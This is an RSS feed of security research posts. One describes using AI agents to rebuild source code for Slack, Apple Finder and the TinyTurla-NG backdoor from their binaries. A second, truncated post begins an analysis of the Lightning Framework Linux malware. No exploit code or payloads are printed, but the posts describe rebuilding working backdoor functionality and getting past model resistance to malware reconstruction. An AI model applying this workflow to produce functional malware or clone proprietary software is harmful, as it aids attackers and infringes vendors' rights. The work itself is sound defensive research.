<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Intezer Research – Backdoor</title><link>https://research.intezer.com/tags/backdoor/</link><description>Recent content in Backdoor on Intezer Research</description><generator>Hugo -- gohugo.io</generator><language>en-us</language><lastBuildDate>Tue, 10 Nov 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://research.intezer.com/tags/backdoor/index.xml" rel="self" type="application/rss+xml"/><item><title>When Everything Becomes Open-Source</title><link>https://research.intezer.com/blog/2026/11/when-everything-becomes-open-source/</link><pubDate>Tue, 10 Nov 2026 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2026/11/when-everything-becomes-open-source/</guid><description>
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2026/11/when-everything-becomes-open-source/images/cover.png" alt="When Everything Becomes Open-Source" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;This article is based on joint research with the Senior Security Researcher &lt;a href="https://www.kodemsecurity.com/resources/when-everything-becomes-open-source"target="_blank" rel="noopener"&gt;Eran Segal&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Reconstructing Apple, Slack, and even malware source code and adding the features you always wanted&lt;span class="hx:absolute hx:-mt-20" id="reconstructing-apple-slack-and-even-malware-source-code-and-adding-the-features-you-always-wanted"&gt;&lt;/span&gt;
&lt;a href="#reconstructing-apple-slack-and-even-malware-source-code-and-adding-the-features-you-always-wanted" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;We live in a world where software applications surround us: browsers, text editors, phone apps, and more. So it is not surprising that companies like Microsoft and Google have billions in market share, and one of their big asset is their product: their software, their code. This makes the product&amp;rsquo;s source code its most valuable asset. These products must be shipped to customers as container images, executables, and APIs. These formats are lossy and cannot be converted back to maintainable source code. This raises the question: how easy is it to convert these assets, using the vendor’s documentation, back into source code we can maintain on GitHub?&lt;/p&gt;
&lt;p&gt;Reverse engineering is an old concept. It is the process of deconstructing a finished product, usually focusing on a specific area that takes humans a long time to analyze. With AI agents, we can do this very fast at a small scale (with an unlimited number of tokens, the sky is the limit).&lt;/p&gt;
&lt;p&gt;For real-world scale, we chose 3 examples that, to the best of our knowledge, AI was never trained on and never saw in its source code. Each app tests different use cases and challenges.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://support.apple.com/en-gb/guide/mac-help/mchlp2605/mac"target="_blank" rel="noopener"&gt;Finder&lt;/a&gt; - one of the most used utilities on a Mac computer. This application lets users view and search files on the computer. While the functionality is simple, the file itself is relatively big and complex.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://slack.com/"target="_blank" rel="noopener"&gt;Slack&lt;/a&gt; - a digital messaging app for businesses. Slack client is written in TypeScript, and it is Electron-based, unlike the Slack server, which is not downloadable. Therefore, it requires reconstruction based only on the limited data available.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://attack.mitre.org/software/S0668/"target="_blank" rel="noopener"&gt;TinyTurla&lt;/a&gt; Malware - a well-known second-stage backdoor attributed by &lt;a href="https://blog.talosintelligence.com/tinyturla/"target="_blank" rel="noopener"&gt;Cisco Talos&lt;/a&gt; to the Turla group. This case tests our ability to reconstruct malicious code and bypass LLM resistance. Source code is easier to inspect than assembly. That is the entire premise. If security teams could produce a faithful reconstruction of a malware sample&amp;rsquo;s source from the compiled file alone, they could read a threat rather than decode it, and they would get there faster.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Our research shows that an AI agent can reconstruct a working copy of an application when given the original software&amp;rsquo;s binary or package. The dataset included different types of applications; the process wasn&amp;rsquo;t smooth, but the results show it is possible. In a world where new and improved agents are released every month, each more capable than the last, it is only a matter of time before these agents can rebuild more complex applications.&lt;/p&gt;
&lt;div class="hx:overflow-x-auto hx:mt-6 hx:flex hx:flex-col hx:rounded-lg hx:border hx:py-4 hx:px-4 hx:border-gray-200 hx:contrast-more:border-current hx:contrast-more:dark:border-current hx:border-amber-200 hx:bg-amber-100 hx:text-amber-900 hx:dark:border-amber-200/30 hx:dark:bg-amber-900/30 hx:dark:text-amber-200"&gt;
&lt;p class="hx:flex hx:items-center hx:font-medium"&gt;&lt;svg height=16px class="hx:inline-block hx:align-middle hx:mr-2" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="2" stroke="currentColor" aria-hidden="true"&gt;&lt;path stroke-linecap="round" stroke-linejoin="round" d="M12 9v2m0 4h.01m-6.938 4h13.856c1.54 0 2.502-1.667 1.732-3L13.732 4c-.77-1.333-2.694-1.333-3.464 0L3.34 16c-.77 1.333.192 3 1.732 3z"/&gt;&lt;/svg&gt;Disclaimer&lt;/p&gt;
&lt;div class="hx:w-full hx:min-w-0 hx:leading-7"&gt;
&lt;div class="hx:mt-6 hx:leading-7 hx:first:mt-0"&gt;&lt;p&gt;This research was conducted &lt;strong&gt;solely for security research and educational purposes&lt;/strong&gt;, in an isolated lab environment. We do not share, distribute or commercially use any reconstructed source code, binaries or other materials. The malware sample was analyzed statically and was never executed. Nothing in this post is intended to encourage reconstructing, modifying or redistributing third-party software in breach of its license terms or applicable law. Apple, Finder, macOS and Slack are trademarks of their respective owners; Intezer and Kodem Security are not affiliated with, sponsored or endorsed by them.&lt;/p&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h2&gt;Technical Details&lt;span class="hx:absolute hx:-mt-20" id="technical-details"&gt;&lt;/span&gt;
&lt;a href="#technical-details" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;The definition of successful reconstruction:&lt;span class="hx:absolute hx:-mt-20" id="the-definition-of-successful-reconstruction"&gt;&lt;/span&gt;
&lt;a href="#the-definition-of-successful-reconstruction" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;The code is fully &lt;strong&gt;maintainable and readable&lt;/strong&gt;, so we can add new features to the app, fix bugs, and we have the infrastructure to execute everything.&lt;/li&gt;
&lt;li&gt;The code is clean and idiomatic, comparable in readability to human-written source code&lt;/li&gt;
&lt;li&gt;The real app and our reconstructed app behave exactly the same. Unlike &lt;a href="https://medium.com/@YousfiAymane/one-developer-rebuilt-adobes-entire-suite-for-free-using-ai-here-s-what-actually-happened-cc552f71d36e"target="_blank" rel="noopener"&gt;Adobe reconstruction&lt;/a&gt;, which behaves similarly&lt;/li&gt;
&lt;li&gt;We compiled the reconstructed app only from our source.&lt;/li&gt;
&lt;li&gt;Package dependencies are detected and treated accordingly. No 3rd-party libraries in our source code.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;They used to say that if you could read assembly language, any software was open source. But with the new AI models, you might not even need to know assembly. Well, to some extent. For now.&lt;/p&gt;
&lt;h2&gt;Case 1: Slack - difficulty level: medium&lt;span class="hx:absolute hx:-mt-20" id="case-1-slack---difficulty-level-medium"&gt;&lt;/span&gt;
&lt;a href="#case-1-slack---difficulty-level-medium" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Slack is a very famous instant messaging app owned by Salesforce, which acquired Slack in 2021 for $27.7 billion. Our goal is to prove that we’re able to rebuild the entire Slack app, including the client and the server, so we end up with a fully working Slack environment that we can run and extend in our lab. Slack server is not publicly available therefore, we do not have any source code for it, unlike the Slack client, therefore the reconstruction of these 2 parts is totally different.&lt;br&gt;
We’ll go over the steps required to reproduce the app. It is worth mentioning that in our lab the reconstruction of the server and the client with the tests was developed in parallel and not sequentially as mentioned here.&lt;/p&gt;
&lt;h3&gt;Reconstruction of Slack client&lt;span class="hx:absolute hx:-mt-20" id="reconstruction-of-slack-client"&gt;&lt;/span&gt;
&lt;a href="#reconstruction-of-slack-client" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Slack app is written in TypeScript over the Electron framework and uses the React frameworks, both technologies are highly common frameworks used widely throughout the world. The Slack client contains over 500,000 functions, most are 3rd-party libraries and some of them were provided by the Slack server. Therefore, we could offload most of the initial inspection to these tools. Initially, we extracted the app using the &lt;a href="https://github.com/electron/asar"target="_blank" rel="noopener"&gt;Asar&lt;/a&gt; tool, and we gained a directory of minimized JavaScript files and related artifacts. That code is still written in one long line, and it is impossible to read anything from it, even for an LLM. Using &lt;a href="https://github.com/j4k0xb/webcrack"target="_blank" rel="noopener"&gt;webcrack&lt;/a&gt; to unminimize the code and make it much more readable, we fixed the alignment so it will look as shown below.&lt;br&gt;
&lt;img src="https://research.intezer.com/blog/2026/11/when-everything-becomes-open-source/images/fig1.png" alt="" loading="lazy" /&gt;&lt;br&gt;
The pattern of a function with a name containing only digits with 3 parameters is repeated throughout the entire fileset. The content of each function is a different module, so by splitting the huge files according to that pattern, we can separate the huge JavaScript files into the real files similar to the way they are defined in Slack source to keep the architecture.&lt;/p&gt;
&lt;p&gt;At this stage, most of the code is not Slack code at all, it is a 3rd-party library Slack is using. Therefore, we let Claude do a deep dive into the minimized code and find all the 3rd-party libraries, some are easy to find because they were originally found in &lt;em&gt;node_modules&lt;/em&gt; dir, but some were hidden inside the source code itself. For that, we wrote a script to find indications of npm modules inside other files, and Claude also looked manually for additional insights.&lt;/p&gt;
&lt;p&gt;This phase was ready for heavy AI lifting, converting each JS file to source code like.&lt;br&gt;
&lt;img src="https://research.intezer.com/blog/2026/11/when-everything-becomes-open-source/images/fig2.png" alt="" loading="lazy" /&gt;&lt;br&gt;
From this point, we have the code, but it is not executable, so all we need to do is download all 3rd-party libraries and to make this code work exactly the same way Slack is working.&lt;br&gt;
It is worth mentioning that lots of the code the Slack client uses is pulled in at runtime from the Slack server, this will be covered in the reconstruction of the Slack server.&lt;/p&gt;
&lt;h3&gt;Reconstruction of Slack Server&lt;span class="hx:absolute hx:-mt-20" id="reconstruction-of-slack-server"&gt;&lt;/span&gt;
&lt;a href="#reconstruction-of-slack-server" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Unlike the Slack client, for reconstruction of the server, we do not have the binary/JS of the server.&lt;br&gt;
This means that implementing a server that will behave exactly the same as the original Slack server is very hard or even impossible, but building a Slack compatible server is very possible.&lt;/p&gt;
&lt;p&gt;By inspecting the Slack client code and detecting all the APIs statically, along with the ability to do network inspection on a real Slack application and the Slack documentation such as &lt;a href="https://docs.slack.dev/reference/methods/"target="_blank" rel="noopener"&gt;Slack references&lt;/a&gt;, we have clear definitions for the APIs required to be implemented.&lt;/p&gt;
&lt;p&gt;The APIs can be split into 2 parts:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Static URLs&lt;/li&gt;
&lt;li&gt;Restful API/websockets&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Static URLs were downloaded from Slack servers, and the resources that required rewriting were done in a similar way as described in the reconstruction of the Slack client.&lt;/p&gt;
&lt;p&gt;In order to implement RESTful APIs were implemented based on the Slack client and matching its behavior to the expected behavior, by inspecting warning logs, errors and additional signals on the client.&lt;br&gt;
Our Slack server is using an SQLite DB and a relatively simple schema, the minimum possible to provide a proof of concept.&lt;/p&gt;
&lt;h3&gt;Building end-to-end tests&lt;span class="hx:absolute hx:-mt-20" id="building-end-to-end-tests"&gt;&lt;/span&gt;
&lt;a href="#building-end-to-end-tests" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;To execute multiple instances of Slack on the same computer and to being able to communicate with a server found in a different URLs other than Slack original real servers, there were a few patches required to be done in the client, first where to store the files, execute Slack with flags to use different URLs, after these patches we were able to connect the client to the server.&lt;/p&gt;
&lt;p&gt;In order to do automation end to end, we need to be able to control the Slack client. In order to do so, we used &lt;a href="https://chromedevtools.github.io/devtools-protocol/"target="_blank" rel="noopener"&gt;Chrome devTools protocol(CDP)&lt;/a&gt;. Using this interface, code was able to locate buttons on the interface and click them/inject text, and do all kinds of operations on the Slack client and validate this behavior.&lt;/p&gt;
&lt;p&gt;A mock server was used to capture all the traffic between the client and the server to be able to detect if the traffic has changed.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2026/11/when-everything-becomes-open-source/images/fig3.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h3&gt;Adding feature - Adding AI auto-complete for Slack&lt;span class="hx:absolute hx:-mt-20" id="adding-feature---adding-ai-auto-complete-for-slack"&gt;&lt;/span&gt;
&lt;a href="#adding-feature---adding-ai-auto-complete-for-slack" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The goal of the feature is to provide a proof of concept that the infrastructure we developed in the previous steps is good enough for us to be able to develop a full feature Slack doesn’t have (yet)&lt;br&gt;
In this feature, we’ll add auto-complete text, similar to the auto-complete IDEs have with AI.&lt;br&gt;
In one short session of Claude, Claude managed to add this feature, which includes connecting Slack server to an LLM server (qwen2.5:3b for ultra-fast results), and exposing an API for auto-completing text, and changes in the Slack client - to change the behavior of the text in the text box, key binding, new API to handle.&lt;/p&gt;
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;"&gt;
&lt;iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/DPTmFycLIsg?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video"&gt;&lt;/iframe&gt;
&lt;/div&gt;
&lt;p&gt;&lt;em&gt;Video: Claude adding AI auto-complete to the reconstructed Slack client and server.&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;Slack Summary&lt;span class="hx:absolute hx:-mt-20" id="slack-summary"&gt;&lt;/span&gt;
&lt;a href="#slack-summary" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;We were able to reproduce the entire Slack app very simply because it was written in high-level language which contains lots of references and names that existed in the source code, and the transformation between the Slack app to source was relatively trivial. Implementing the server, on the other hand, was more complex because the details of the implementation weren’t shared with us. But building new features such as the auto-complete was simple, as if it were source code.&lt;/p&gt;
&lt;h2&gt;Case 2: Finder - difficulty level: Low-Medium&lt;span class="hx:absolute hx:-mt-20" id="case-2-finder---difficulty-level-low-medium"&gt;&lt;/span&gt;
&lt;a href="#case-2-finder---difficulty-level-low-medium" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;In this case, we tried to reconstruct the &lt;a href="https://en.wikipedia.org/wiki/Finder_%5c%28software%5c%29"target="_blank" rel="noopener"&gt;Finder&lt;/a&gt; app. The bundle includes a 25.8 MB executable for Intel and Apple Silicon, along with interface files, images, localized text, and metadata.&lt;/p&gt;
&lt;h3&gt;How the reforging process works&lt;span class="hx:absolute hx:-mt-20" id="how-the-reforging-process-works"&gt;&lt;/span&gt;
&lt;a href="#how-the-reforging-process-works" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The reconstruction harness used the code and files from the provided Finder app and processed one feature at a time. For example, when working on the feature of adding a file, first the harness inspects the supplied interface files and executable to identify visible controls and the code paths they call. Then the harness implements the action, tests it, and records anything the available evidence cannot settle.&lt;/p&gt;
&lt;p&gt;In some cases, the provided files can’t reveal how Finder implements a task because it relies on other macOS applications and services, such as cloud-shred files. In those cases, the harness builds a working version using public macOS APIs, tests it, and documents how the behavior might differ.&lt;/p&gt;
&lt;p&gt;A separate testing flow creates temporary folders, files, and drivers to test the code of the reconstructed application. The tests cover different Finder features and actions the user can perform.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Browsing files: opening folders, navigation, selections, sorting on different values, choosing views (such as Gallery view), etc.&lt;/li&gt;
&lt;li&gt;Working with files: actions such as copy, move, rename, duplicate, tags, and undo. The tests also cover missing files, conflicting names, and other failure cases.&lt;/li&gt;
&lt;li&gt;Search feature: search criteria and results, saved Reforge searches, Get Info, previews, and preference controls.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Current state and remaining differences&lt;span class="hx:absolute hx:-mt-20" id="current-state-and-remaining-differences"&gt;&lt;/span&gt;
&lt;a href="#current-state-and-remaining-differences" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The Finder binary contains tens of thousands of function views across two architectures, with dynamic Objective-C calls and extensive framework and private-service dependencies. That makes it hard to map every original function to a rebuilt counterpart or use a whole-binary similarity score to measure progress. Instead, we use static analysis in the harness to establish specific facts about the original, build user-facing workflows with public macOS APIs, test those workflows, and record where the original behavior remains unknown.&lt;/p&gt;
&lt;p&gt;The reconstructed app supports many everyday local-file workflows, including browsing, windows and tabs, common file actions, local search, Get Info, tags, Quick Look, and preferences. The reconstruction uses public macOS APIs for features that couldn&amp;rsquo;t be implemented solely from the provided files. As a result, its internal size and structure are expected to differ from Apple’s Finder. The remaining gap comes from features that involve files managed by cloud services, such as online-only files and sync status, or actions whose results depend on other macOS services.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2026/11/when-everything-becomes-open-source/images/fig4.png" title="Figure 4: The original Finder application." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 4: The original Finder application.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2026/11/when-everything-becomes-open-source/images/fig5.png" title="Figure 5: The reforged Finder application." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 5: The reforged Finder application.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Case 3: TinyTurla - difficulty level: hard&lt;span class="hx:absolute hx:-mt-20" id="case-3-tinyturla---difficulty-level-hard"&gt;&lt;/span&gt;
&lt;a href="#case-3-tinyturla---difficulty-level-hard" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Malware makes this difficult. Even small samples are typically stripped C or C++ binaries with no symbols, comments, or file boundaries. Reconstruction must recover the whole program: its functions, data structures, control flow, and behavior. Success means a source tree that compiles and matches the original binary. That is already expensive in time and tokens before obfuscation or packing enters the picture.&lt;/p&gt;
&lt;p&gt;We wanted to know whether a strict workflow could clear that bar, and whether the result could be defended with evidence rather than asserted with confidence.&lt;/p&gt;
&lt;h3&gt;The Target: A TinyTurla-NG DLL&lt;span class="hx:absolute hx:-mt-20" id="the-target-a-tinyturla-ng-dll"&gt;&lt;/span&gt;
&lt;a href="#the-target-a-tinyturla-ng-dll" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The input is a TinyTurla-NG x64 Windows DLL of 291,840 bytes, built with MSVC linker 14.29 and carrying a compile timestamp of December 22nd, 2023. Binary Ninja resolves 1,041 functions in it. The sample is unpacked and unobfuscated.&lt;/p&gt;
&lt;p&gt;The goal was never to recover the author’s exact source text. Comments, formatting, and most variable names are gone the moment a binary is compiled. The deliverable is something different: a new, evidence-backed implementation that behaves like the binary and can be shown to do so.&lt;/p&gt;
&lt;h3&gt;The Rules&lt;span class="hx:absolute hx:-mt-20" id="the-rules"&gt;&lt;/span&gt;
&lt;a href="#the-rules" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;First, the binary is the source of truth. A language model may propose an interpretation, but it cannot certify one. Every conclusion is tied to static evidence. Second, nothing is ever executed. Neither the original nor the rebuilt binary is ever run.&lt;/p&gt;
&lt;p&gt;The reconstruction evaluates two separate goals, and it keeps them separate on purpose:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Behavioral equivalence: matching control flow, calls, data effects, cleanup, error paths, and ABI behavior.&lt;/li&gt;
&lt;li&gt;Structural similarity: matching functions, control-flow graph, call relationships, and machine-code shape, measured with BinExport and BinDiff.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;The Setup&lt;span class="hx:absolute hx:-mt-20" id="the-setup"&gt;&lt;/span&gt;
&lt;a href="#the-setup" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;In this reconstruction harness, no single model does every step. It is a deterministic Python control plane wrapped around static-analysis tools, a compiler, and several bounded language-model roles. The models are components inside the system, not the system itself.&lt;/p&gt;
&lt;p&gt;Binary Ninja performs static analysis of the original binary locally and produces the gold-standard database (the &lt;code&gt;.bndb&lt;/code&gt; file). It supplies the authoritative disassembly, IL, and decompiler output that every downstream step consumes. Binary Ninja output is the static ground truth for the whole project. Once the harness has a reconstructed function, it compares that function&amp;rsquo;s High Level Intermediate Language (&lt;a href="https://docs.binary.ninja/dev/bnil-hlil.html"target="_blank" rel="noopener"&gt;HLIL&lt;/a&gt;) against the corresponding function in the original file using the same tool.&lt;/p&gt;
&lt;p&gt;A Windows VM compiles the reconstructed C++. The machine where Codex runs connects to the Windows VM via SSH. &lt;a href="https://openai.com/codex/"target="_blank" rel="noopener"&gt;Codex&lt;/a&gt; extracted the compiler version from the binary and installed the closest compilation toolchain on the Windows VM. It is not a perfect match, and the reason becomes important later: the original binary appears to include objects produced by an unavailable pre-release compiler around build 27412.&lt;/p&gt;
&lt;p&gt;Codex, configured to use GPT-5.6-sol-high, operates the workflow: it inspects artifacts, makes engineering decisions, integrates code, investigates failed gates and build errors, and invokes the tools. Inside the harness, Kimi K3 hosted on Fireworks fills three isolated roles.&lt;/p&gt;
&lt;p&gt;Two operational guardrails are worth naming. It sends only selected static evidence to Kimi K3. Binaries and credentials are never uploaded, and during equivalence review, the reconstructed source passes through a dedicated redaction path that strips string-literal contents before transmission. Separately, every request is recorded in a budget ledger that must preserve a mandatory five-dollar reserve under the authorized spending ceiling, so the workflow cannot burn resources without accountability.&lt;/p&gt;
&lt;h3&gt;What Was Reconstructed&lt;span class="hx:absolute hx:-mt-20" id="what-was-reconstructed"&gt;&lt;/span&gt;
&lt;a href="#what-was-reconstructed" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The project produced a complete, compiling C++ implementation of the TinyTurla-NG DLL from static analysis alone.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left"&gt;Measure&lt;/th&gt;
&lt;th style="text-align: left"&gt;Original&lt;/th&gt;
&lt;th style="text-align: left"&gt;Reconstruction&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;File size&lt;/td&gt;
&lt;td style="text-align: left"&gt;291,840 bytes&lt;/td&gt;
&lt;td style="text-align: left"&gt;296,960 bytes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;Functions&lt;/td&gt;
&lt;td style="text-align: left"&gt;1,041&lt;/td&gt;
&lt;td style="text-align: left"&gt;1,072&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;Imported symbols&lt;/td&gt;
&lt;td style="text-align: left"&gt;Identical&lt;/td&gt;
&lt;td style="text-align: left"&gt;Identical&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;BinDiff pairs 1,034 of the original functions and reports 92.8% whole-program similarity at 98.7% confidence. That is a statement about shape, not about behavior. The behavioral case compares the original and rebuilt functions one at a time, at the right addresses.&lt;/p&gt;
&lt;p&gt;The reconstructed code fits in two source files, about 3,100 lines in total. Together they cover the implant’s full working pipeline: registering with its C2 servers, receiving and executing commands, running shell commands, transferring files, and removing itself. One deliberate omission: we did not hand-write the Microsoft C++ runtime. Where the evidence showed a function came from the compiler’s libraries, the rebuild simply links them. Writing plausible-looking source for that code would have inflated the numbers while making the result less honest.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2026/11/when-everything-becomes-open-source/images/fig6.png" title="Figure 6: A side-by-side (partial) comparison of the same function. On the left is the reconstructed source code, and on the right is the decompilation of the original file in Binary Ninja." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 6: A side-by-side (partial) comparison of the same function. On the left is the reconstructed source code, and on the right is the decompilation of the original file in Binary Ninja.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;How to protect your software?&lt;span class="hx:absolute hx:-mt-20" id="how-to-protect-your-software"&gt;&lt;/span&gt;
&lt;a href="#how-to-protect-your-software" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;This research shows that AI agents can reconstruct real-world applications and gain the application source code. It also shows that obstacles remain, and the workflow is not smooth or perfect. Yet. Another thing to consider is that while someone can vibe-code applications like Slack, it will be much harder to build the infrastructure needed to run them.&lt;/p&gt;
&lt;p&gt;We learned that clear objectives make the process harder for an AI to solve. When there is no clear guidance on how things in the application work, documentation is lacking, metadata is not useful or clear, and the code is low-level, all of these add a lot of complexity. Would more tokens, more capable models, and better harnesses fix this? Maybe! But in the meantime, if software providers use encryptors and obfuscators- tools used for years to prevent people from hacking applications (such as anti-cheating software for computer games)- these will make the process much harder for AI agents and raise the bar.&lt;/p&gt;
&lt;p&gt;What would be the impact of converting every software to an open-source application? How would it affect the global economy? AI is clearly changing our industry and our world. While it&amp;rsquo;s still unclear how it will affect our jobs and lives in the future, this research shows that AI will significantly affect a new aspect. The software industry will have to adjust.&lt;/p&gt;</description></item><item><title>Lightning Framework: New Undetected "Swiss Army Knife" Linux Malware ⚡</title><link>https://research.intezer.com/blog/2022/07/lightning-framework-new-linux-threat/</link><pubDate>Thu, 21 Jul 2022 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2022/07/lightning-framework-new-linux-threat/</guid><description>
&lt;p&gt;&lt;em&gt;Lightning Framework is a new undetected Swiss Army Knife-like Linux malware
that has modular plugins and the ability to install rootkits.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Year after year Linux environments increasingly become the target of malware
due to continued threat actor interest in the space. Malware targeting Linux
environments surged in 2021, with a large amount of innovation
&lt;a href="https://www.ibm.com/downloads/cas/ADLMYLAZ"target="_blank" rel="noopener"&gt;resulting in new malicious code&lt;/a&gt;,
especially in ransomwares, trojans, and botnets. With the rise in use of the
cloud, it is no wonder that malware innovation is still accelerating at
breakneck speed in this realm.&lt;/p&gt;
&lt;p&gt;This is a technical analysis of a previously undocumented and undetected Linux
threat called the Lightning Framework. It is rare to see such an intricate
framework developed for targeting Linux systems. Lightning is a modular
framework we discovered that has a plethora of capabilities, and the ability to
install multiple types of rootkit, as well as the capability to run plugins.
The framework has both passive and active capabilities for communication with
the threat actor, including opening up SSH on an infected machine, and a
polymorphic malleable command and control configuration. We are releasing this
blog for informational purposes. We do not have all the files that are
referenced in the framework, but hope that this release will help others if
they possess other pieces of the jigsaw puzzle. We have not observed this
malware being used in attacks in the wild.&lt;/p&gt;
&lt;h2&gt;Technical Analysis of Lightning Framework&lt;span class="hx:absolute hx:-mt-20" id="technical-analysis-of-lightning-framework"&gt;&lt;/span&gt;
&lt;a href="#technical-analysis-of-lightning-framework" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The framework consists of a downloader and core module, with a number of
plugins. Some of the plugins used by the malware are open-source tools. Below
is a figure of the framework layout:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/07/lightning-framework-new-linux-threat/images/fig1.jpeg" title="Diagram of the Lightning Framework layout: the downloader and core module with their plugins." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Diagram of the Lightning Framework layout: the downloader and core module with their plugins.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Overview of the Modules&lt;span class="hx:absolute hx:-mt-20" id="overview-of-the-modules"&gt;&lt;/span&gt;
&lt;a href="#overview-of-the-modules" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Name&lt;/th&gt;
&lt;th&gt;Name on Disk&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Lightning.Downloader&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;kbioset&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The persistent module that downloads the core module and its plugins&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Lightning.Core&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;kkdmflush&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The main module of the Lightning Framework&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Linux.Plugin.Lightning.SsHijacker&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;soss&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;There is a reference to this module but no sample found in the wild yet.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
